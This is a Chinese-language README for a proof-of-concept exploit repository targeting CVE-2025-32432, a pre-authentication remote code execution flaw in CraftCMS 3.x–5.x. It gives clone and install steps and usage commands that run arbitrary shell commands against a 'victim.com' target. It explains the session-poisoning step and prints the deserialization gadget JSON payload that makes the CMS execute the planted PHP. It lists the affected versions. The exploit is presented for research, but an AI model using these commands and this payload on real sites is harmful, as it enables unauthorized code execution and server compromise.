CVE-2025-32432 利用脚本 (Python PoC)

CraftCMS 3.x / 4.x / 5.x 的预身份认证远程代码执行
PoC维护者： C.T.Y. (仅用于研究)
漏洞发现： Nicolas Bourras – Orange Cyberdefense
其他PoC灵感： SensePost 研究 & Chirag Artani 的公开脚本

1. 概述

本仓库包含两个针对 CVE-2025-32432 的互补型 Python 利用脚本——该漏洞是 CraftCMS 资产转换端点上的一个预身份认证 RCE。

本 README 中描述的脚本是第二个脚本。
第一个脚本包含在内以便完整性和快速验证，由 Chirag Artani 提供 — 参见《致谢》。
脚本文件名已为了清晰而调整；原始结构和想法由 Chirag Artani 提供。

2. 免责声明 🚨

仅供 教育及授权安全测试 使用。
在 未经明确书面许可 的情况下针对系统使用这些脚本是 非法且不道德的。

3. 功能特性（最终利用载荷）

• 一次性 两包 RCE
• 自动 assetId 暴力破解（404 → 302 启发式）
• 自定义 shell 命令执行（-c/--cmd）
• 支持 HTTP 或 HTTPS（抑制 SSL 验证警告）
• 从 HTML 响应中干净提取命令输出

4. 环境要求

• Python 3.8+
• PyPI 包（通过 pip install -r requirements.txt 安装）：
  • requests
  • urllib3

5. 安装

# 克隆仓库
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt

# 安装依赖
pip install -r requirements.txt

6. 使用方法

6.1 快速 PHP 执行检查

python3 craftcms_rce_php_check.py -u https://victim.com

如果看到 phpinfo() 输出，则目标很可能可用。

6.2 完整两包利用

python3 craftcms_final_payload.py -u https://victim.com -c "id"

选项

7. 漏洞工作原理（概述）

• 会话投毒 — GET 请求 /index.php?p=admin/dashboard&a=<?=...?> 将任意 PHP 写入 /tmp/sess_<ID>。
• 反序列化 Gadget — POST 请求 actions/assets/generate-transform，携带 FieldLayoutBehavior → PhpManager gadget，强制 CraftCMS require() 会话文件，执行代码。

{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

8. 测试版本

• CraftCMS < 3.9.15（需要 assetId 暴力破解）
• CraftCMS < 4.14.15
• CraftCMS < 5.6.17

9. 参考与延伸阅读

• 原始公告 — Nicolas Bourras / Orange Cyberdefense
• SensePost 深度文章
• Chirag Artani 的 PoC
• CraftCMS 安全公告
• CVE-2025-32432 @ MITRE

10. 致谢

• C.T.Y. — 完整的两包 PoC 与文档
• Chirag Artani — 原始 phpinfo 检查脚本 (craftcms_rce_php_check.py) 和早期研究思路 脚本文件名已为了清晰而调整；原始结构和想法由 Chirag Artani 提供。
• Nicolas Bourras / Orange Cyberdefense — 漏洞发现与负责任披露
• 来自 SensePost 研究团队的额外见解

11. 许可协议

责任声明： 使用本代码所引起的任何法律风险或损害，均由使用者自行承担。

MIT 许可协议 — 见 LICENSE。

中文說明

1. 專案內容

2. 免責聲明

僅供教學與合法授權測試使用。未經授權操作即屬違法。

3. 快速檢查

python3 craftcms_rce_php_check.py -u https://目標站

4. 完整利用

python3 craftcms_final_payload.py -u https://目標站 -c "id"

參數與英文版相同。

5. 致謝

• Chirag Artani — phpinfo 檢查腳本 此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。
• Nicolas Bourras / Orange Cyberdefense — 漏洞發現與技術靈感
• SensePost — 技術靈感

6. 授權

使用本程式碼造成之任何法律風險與損失，由使用者自行承擔。

MIT License